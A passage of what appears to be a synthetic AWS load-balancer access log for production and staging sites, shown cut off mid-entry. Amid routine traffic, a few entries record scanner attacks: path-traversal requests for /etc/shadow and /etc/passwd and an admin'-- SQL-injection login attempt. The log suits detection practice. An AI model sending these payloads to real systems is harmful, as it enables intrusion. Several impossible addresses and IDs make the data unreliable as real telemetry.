2024-11-01T00:14:16.036666Z "forward" "-" "-" "10.0.89.81:443" "200" "-" "-" +http 2024-11-01T00:14:17.622622Z staging-alb 173.104.16.4:26399 248.238.152.191:443 0.116984 0.445139 0.032935 200 200 15 9188 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bae9-fa6179c0650a43bf88d5cc68" "staging-alb.example.com" "-" 1 2024-11-01T00:14:17.622622Z "forward" "-" "-" "248.238.152.191:443" "200" "-" "-" +https 2024-11-01T00:14:18.744633Z prod-web-alb 172.215.45.19:11260 10.0.64.44:443 0.016431 0.002132 0.009572 200 200 793 1699 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723baea-9f6b450c55b94d11a1825919" "prod-web-alb.example.com" "-" 8 2024-11-01T00:14:18.744633Z "forward" "-" "-" "10.0.64.44:443" "200" "-" "-" +https 2024-11-01T00:14:20.389975Z prod-web-alb 203.61.198.146:35452 10.0.93.183:443 0.060269 0.218515 0.097903 200 200 803 281 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baec-60366082425c44f7b134bc34" "prod-web-alb.example.com" "-" 7 2024-11-01T00:14:20.389975Z "forward" "-" "-" "10.0.93.183:443" "200" "-" "-" +https 2024-11-01T00:14:22.168081Z prod-web-alb 206.85.83.158:17367 10.0.174.72:443 0.074018 0.369340 0.026934 200 200 388 9262 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baee-bb8126fa6efe4f288f00ee79" "prod-web-alb.example.com" "-" 1 2024-11-01T00:14:22.168081Z "forward" "-" "-" "10.0.174.72:443" "200" "-" "-" +https 2024-11-01T00:14:22.679368Z prod-web-alb 157.222.89.110:36468 10.0.60.142:443 0.015896 0.343051 0.078018 301 301 795 5899 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baee-9e57dc438a78472383f82113" "prod-web-alb.example.com" "-" 9 2024-11-01T00:14:22.679368Z "forward" "-" "-" "10.0.60.142:443" "301" "-" "-" +https 2024-11-01T00:14:23.813639Z prod-web-alb 98.23.56.96:45007 10.0.150.253:443 0.098120 0.277923 0.085222 404 404 602 14320 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723baef-e171b9eff1494486b12371e4" "prod-web-alb.example.com" "-" 3 2024-11-01T00:14:23.813639Z "forward" "-" "-" "10.0.150.253:443" "404" "-" "-" +https 2024-11-01T00:14:24.805928Z prod-api-alb 45.155.205.142:19766 10.0.211.108:443 0.035299 0.338345 0.044553 403 403 580 11839 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723baf0-b32d9d75a1af44b0861a23c3" "-" "-" 5 2024-11-01T00:14:24.805928Z "forward" "-" "-" "10.0.211.108:443" "403" "-" "-" +https 2024-11-01T00:14:26.589149Z prod-web-alb 186.32.125.231:64326 10.0.243.31:443 0.027801 0.073565 0.079892 200 200 416 4406 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baf2-cf43c7b001344676a9d6cf78" "prod-web-alb.example.com" "-" 8 2024-11-01T00:14:26.589149Z "forward" "-" "-" "10.0.243.31:443" "200" "-" "-" +https 2024-11-01T00:14:28.447424Z staging-alb 47.35.254.24:11871 161.97.111.187:443 0.003282 0.575622 0.096905 404 404 37 4887 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baf4-43d109058441483885c56e8e" "staging-alb.example.com" "-" 5 2024-11-01T00:14:28.447424Z "forward" "-" "-" "161.97.111.187:443" "404" "-" "-" +https 2024-11-01T00:14:30.445897Z prod-web-alb 230.234.20.105:63909 10.0.123.249:443 0.066638 0.432411 0.062169 200 200 176 12520 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baf6-b5dede69004244158bee83c4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:14:30.445897Z "forward" "-" "-" "10.0.123.249:443" "200" "-" "-" +https 2024-11-01T00:14:32.311818Z prod-web-alb 39.157.24.132:40350 10.0.245.85:443 0.074424 0.209208 0.052511 404 404 563 2766 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baf8-91793b9ec8c34eef99ef57a4" "-" "-" 4 2024-11-01T00:14:32.311818Z "forward" "-" "-" "10.0.245.85:443" "404" "-" "-" +http 2024-11-01T00:14:33.983585Z staging-alb 151.193.249.44:38216 144.10.241.122:80 0.104230 0.646707 0.006000 200 200 378 8104 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baf9-8d338976686d44f6a33cf954" "staging-alb.example.com" "-" 3 2024-11-01T00:14:33.983585Z "forward" "-" "-" "144.10.241.122:80" "200" "-" "-" +http 2024-11-01T00:14:35.592873Z staging-alb 149.10.22.123:42309 91.59.191.38:80 0.094900 0.339898 0.148709 404 404 427 3682 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bafb-a32df024eac243799a8a9e7b" "staging-alb.example.com" "-" 0 2024-11-01T00:14:35.592873Z "forward" "-" "-" "91.59.191.38:80" "404" "-" "-" +https 2024-11-01T00:14:36.461842Z prod-web-alb 227.116.111.59:14284 10.0.185.226:443 0.043592 0.428113 0.059340 302 302 874 7042 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bafc-a2e585a7400240de914b156a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:14:36.461842Z "forward" "-" "-" "10.0.185.226:443" "302" "-" "-" +http 2024-11-01T00:14:37.898495Z staging-alb 216.123.181.122:42197 152.218.50.205:8080 0.114269 0.714741 0.116155 404 404 854 4004 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bafd-1d6e5bad960d414ca4a03fa9" "staging-alb.example.com" "-" 8 2024-11-01T00:14:37.898495Z "forward" "-" "-" "152.218.50.205:8080" "404" "-" "-" +https 2024-11-01T00:14:38.148608Z prod-api-alb 1.104.148.74:20794 10.0.53.6:443 0.077697 0.096491 0.033349 200 200 190 14363 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bafe-08959970a23c4ea6ba48d186" "prod-api-alb.example.com" "-" 2 2024-11-01T00:14:38.148608Z "forward" "-" "-" "10.0.53.6:443" "200" "-" "-" +https 2024-11-01T00:14:39.658718Z prod-api-alb 224.132.29.220:10508 10.0.25.145:443 0.078511 0.216760 0.049768 404 404 126 13681 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723baff-4816e3a7b2a344f589354701" "prod-api-alb.example.com" "-" 2 2024-11-01T00:14:39.658718Z "forward" "-" "-" "10.0.25.145:443" "404" "-" "-" +https 2024-11-01T00:14:39.811929Z prod-web-alb 133.162.122.28:54393 10.0.204.125:443 0.028303 0.296639 0.039895 200 200 648 14059 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baff-3e15e906ba174a1db50f8e8d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:14:39.811929Z "forward" "-" "-" "10.0.204.125:443" "200" "-" "-" +https 2024-11-01T00:14:40.495466Z staging-alb 5.223.67.63:15132 34.171.39.39:443 0.105797 0.099980 0.136115 200 200 961 8994 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb00-74f845733aa6490386f91160" "staging-alb.example.com" "-" 0 2024-11-01T00:14:40.495466Z "forward" "-" "-" "34.171.39.39:443" "200" "-" "-" +https 2024-11-01T00:14:40.664291Z prod-api-alb 193.176.147.33:21268 10.0.196.217:443 0.053874 0.251258 0.093654 302 302 377 7219 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb00-93c8cb8539a04c23ba71932f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:14:40.664291Z "forward" "-" "-" "10.0.196.217:443" "302" "-" "-" +https 2024-11-01T00:14:41.259299Z staging-alb 138.246.234.158:11151 204.125.150.94:80 0.007707 0.011790 0.075705 200 200 631 9345 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb01-deb32a3f6e95414e85a5bc63" "staging-alb.example.com" "-" 9 2024-11-01T00:14:41.259299Z "forward" "-" "-" "204.125.150.94:80" "200" "-" "-" +https 2024-11-01T00:14:42.900735Z prod-api-alb 45.155.205.149:26736 10.0.188.132:443 0.080168 0.232262 0.060520 200 200 714 6835 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb02-9ee42a21fd304eebad0d51f8" "-" "-" 0 2024-11-01T00:14:42.900735Z "forward" "-" "-" "10.0.188.132:443" "200" "-" "-" +https 2024-11-01T00:14:44.235050Z staging-alb 193.27.228.181:26841 44.73.113.148:443 0.018085 0.624379 0.061684 404 404 705 10227 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb04-ea83210e0faf4775971de8fb" "-" "-" 6 2024-11-01T00:14:44.235050Z "forward" "-" "-" "44.73.113.148:443" "404" "-" "-" +http 2024-11-01T00:14:45.866155Z staging-alb 249.21.201.236:29417 41.135.57.46:80 0.149452 0.729977 0.038376 200 200 2 3423 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb05-8bd085d95cc94dee8a77fffe" "staging-alb.example.com" "-" 6 2024-11-01T00:14:45.866155Z "forward" "-" "-" "41.135.57.46:80" "200" "-" "-" +https 2024-11-01T00:14:46.120726Z staging-alb 86.228.195.44:54313 12.244.35.67:80 0.083029 0.208381 0.070257 200 200 597 7256 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb06-ea8607cfb2854031a7ebe123" "staging-alb.example.com" "-" 6 2024-11-01T00:14:46.120726Z "forward" "-" "-" "12.244.35.67:80" "200" "-" "-" +https 2024-11-01T00:14:46.707750Z prod-web-alb 5.41.231.207:32598 10.0.226.12:443 0.052929 0.382335 0.035925 200 200 353 2533 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb06-2e18249befe44ee3905303ed" "prod-web-alb.example.com" "-" 5 2024-11-01T00:14:46.707750Z "forward" "-" "-" "10.0.226.12:443" "200" "-" "-" +http 2024-11-01T00:14:48.250766Z staging-alb 169.211.241.144:28157 22.100.33.69:443 0.003654 0.390343 0.140113 200 200 221 13413 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb08-fcd87baf57004f72b56ce671" "staging-alb.example.com" "-" 3 2024-11-01T00:14:48.250766Z "forward" "-" "-" "22.100.33.69:443" "200" "-" "-" +https 2024-11-01T00:14:49.605784Z prod-api-alb 177.193.196.94:47277 10.0.61.69:443 0.092683 0.161015 0.097806 200 200 49 10410 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb09-46e67e809e544db685901079" "prod-api-alb.example.com" "-" 4 2024-11-01T00:14:49.605784Z "forward" "-" "-" "10.0.61.69:443" "200" "-" "-" +https 2024-11-01T00:14:50.374140Z prod-api-alb 153.255.173.233:63940 10.0.152.156:443 0.037765 0.025926 0.041471 302 302 296 11636 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb0a-5ffddca71dbf4e7f956ac94f" "prod-api-alb.example.com" "-" 9 2024-11-01T00:14:50.374140Z "forward" "-" "-" "10.0.152.156:443" "302" "-" "-" +https 2024-11-01T00:14:51.850891Z prod-api-alb 181.233.179.229:12005 10.0.228.20:443 0.004286 0.012336 0.038660 200 200 749 7746 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb0b-bcb9babf4e76444394f1e8fa" "prod-api-alb.example.com" "-" 1 2024-11-01T00:14:51.850891Z "forward" "-" "-" "10.0.228.20:443" "200" "-" "-" +http 2024-11-01T00:14:52.527956Z staging-alb 40.29.210.39:49148 65.6.123.51:80 0.064061 0.457612 0.049417 301 301 656 10853 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb0c-e7180dc7ae1346e59c3d3226" "staging-alb.example.com" "-" 1 2024-11-01T00:14:52.527956Z "forward" "-" "-" "65.6.123.51:80" "301" "-" "-" +https 2024-11-01T00:14:54.199353Z prod-api-alb 55.10.195.28:59434 10.0.187.204:443 0.080570 0.248551 0.081203 302 302 571 7163 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb0e-599fc33837b142d19bffb0e0" "prod-api-alb.example.com" "-" 9 2024-11-01T00:14:54.199353Z "forward" "-" "-" "10.0.187.204:443" "302" "-" "-" +http 2024-11-01T00:14:55.252926Z staging-alb 241.9.229.113:30195 132.68.165.128:8080 0.066133 0.419959 0.138984 200 200 795 9264 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb0f-35ae232216e64a199d9db270" "staging-alb.example.com" "-" 3 2024-11-01T00:14:55.252926Z "forward" "-" "-" "132.68.165.128:8080" "200" "-" "-" +http 2024-11-01T00:14:57.096244Z staging-alb 26.249.5.175:24208 192.145.184.138:8080 0.060528 0.031201 0.024635 200 200 831 4024 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb11-4ac78ae4409d4d1583b9a54f" "staging-alb.example.com" "-" 7 2024-11-01T00:14:57.096244Z "forward" "-" "-" "192.145.184.138:8080" "200" "-" "-" +https 2024-11-01T00:14:58.877784Z staging-alb 255.44.131.205:27648 152.83.85.189:443 0.089856 0.376307 0.113474 301 301 256 5952 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb12-c73dc7332c524fe698cdeb3b" "staging-alb.example.com" "-" 4 2024-11-01T00:14:58.877784Z "forward" "-" "-" "152.83.85.189:443" "301" "-" "-" +https 2024-11-01T00:14:59.328171Z prod-web-alb 80.214.144.128:48979 10.0.227.203:443 0.001823 0.154403 0.077860 200 200 200 7525 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb13-cd065d59f24f4cd58e0d66b8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:14:59.328171Z "forward" "-" "-" "10.0.227.203:443" "200" "-" "-" +https 2024-11-01T00:15:01.231171Z prod-web-alb 173.96.163.1:33113 10.0.227.97:443 0.009671 0.152248 0.005732 301 301 935 10824 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb15-b91a3964dd134681b9723c53" "prod-web-alb.example.com" "-" 0 2024-11-01T00:15:01.231171Z "forward" "-" "-" "10.0.227.97:443" "301" "-" "-" +https 2024-11-01T00:15:02.734483Z prod-web-alb 228.84.160.155:39530 10.0.239.34:443 0.060102 0.134995 0.075320 302 302 685 1772 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb16-1d4d759cc43f42a78a8acfc5" "prod-web-alb.example.com" "-" 6 2024-11-01T00:15:02.734483Z "forward" "-" "-" "10.0.239.34:443" "302" "-" "-" +https 2024-11-01T00:15:03.790604Z staging-alb 162.28.56.252:40536 180.133.134.102:443 0.030236 0.204036 0.142937 302 302 633 12672 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb17-9922bcfafc134e3ea82dc6d0" "staging-alb.example.com" "-" 4 2024-11-01T00:15:03.790604Z "forward" "-" "-" "180.133.134.102:443" "302" "-" "-" +https 2024-11-01T00:15:05.581631Z staging-alb 123.150.254.160:44478 222.152.16.241:8080 0.017069 0.484959 0.054527 200 200 813 598 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb19-1654650230ce4c5aa7d6522d" "staging-alb.example.com" "-" 10 2024-11-01T00:15:05.581631Z "forward" "-" "-" "222.152.16.241:8080" "200" "-" "-" +http 2024-11-01T00:15:07.287490Z staging-alb 10.179.62.190:23238 8.55.115.197:443 0.034947 0.132681 0.081330 404 404 603 14209 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb1b-1c6ad98b6a26490caa1909e6" "staging-alb.example.com" "-" 9 2024-11-01T00:15:07.287490Z "forward" "-" "-" "8.55.115.197:443" "404" "-" "-" +https 2024-11-01T00:15:08.625798Z staging-alb 233.17.250.189:49115 153.172.198.197:8080 0.011199 0.267182 0.133911 302 302 111 9602 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb1c-98bde4655a4f4490b1b5efa4" "staging-alb.example.com" "-" 9 2024-11-01T00:15:08.625798Z "forward" "-" "-" "153.172.198.197:8080" "302" "-" "-" +https 2024-11-01T00:15:09.423547Z staging-alb 2.236.87.90:57680 81.134.97.145:8080 0.094860 0.032448 0.013128 404 404 291 14585 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb1d-8e020d7257fe4360b6b9bbf1" "staging-alb.example.com" "-" 6 2024-11-01T00:15:09.423547Z "forward" "-" "-" "81.134.97.145:8080" "404" "-" "-" +https 2024-11-01T00:15:10.266065Z staging-alb 161.42.167.182:10911 40.4.129.68:443 0.126153 0.210675 0.043800 302 302 739 6034 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb1e-bd6fb51aa3e342f1b8771e46" "staging-alb.example.com" "-" 8 2024-11-01T00:15:10.266065Z "forward" "-" "-" "40.4.129.68:443" "302" "-" "-" +http 2024-11-01T00:15:10.667150Z staging-alb 21.115.19.28:49230 111.55.232.7:443 0.135310 0.277559 0.035367 301 301 329 13142 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb1e-7fe91b9cbf3e4afda6a82341" "staging-alb.example.com" "-" 5 2024-11-01T00:15:10.667150Z "forward" "-" "-" "111.55.232.7:443" "301" "-" "-" +https 2024-11-01T00:15:11.013472Z prod-api-alb 184.5.1.71:37579 10.0.236.115:443 0.043639 0.158108 0.089772 301 301 889 11239 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb1f-c287f4ee7aa9413580b2720e" "prod-api-alb.example.com" "-" 10 2024-11-01T00:15:11.013472Z "forward" "-" "-" "10.0.236.115:443" "301" "-" "-" +https 2024-11-01T00:15:12.036900Z prod-web-alb 57.228.70.15:46434 10.0.110.36:443 0.049967 0.425472 0.035894 200 200 577 11797 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb20-d0827b9f1ba24fed8215ca0e" "prod-web-alb.example.com" "-" 9 2024-11-01T00:15:12.036900Z "forward" "-" "-" "10.0.110.36:443" "200" "-" "-" +http 2024-11-01T00:15:13.308125Z staging-alb 2.212.190.207:26394 98.60.224.231:443 0.148343 0.470137 0.122702 200 200 272 11682 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb21-d1ba1b5b23bc49508665ba51" "staging-alb.example.com" "-" 5 2024-11-01T00:15:13.308125Z "forward" "-" "-" "98.60.224.231:443" "200" "-" "-" +https 2024-11-01T00:15:13.758152Z prod-api-alb 139.77.220.140:27922 10.0.202.60:443 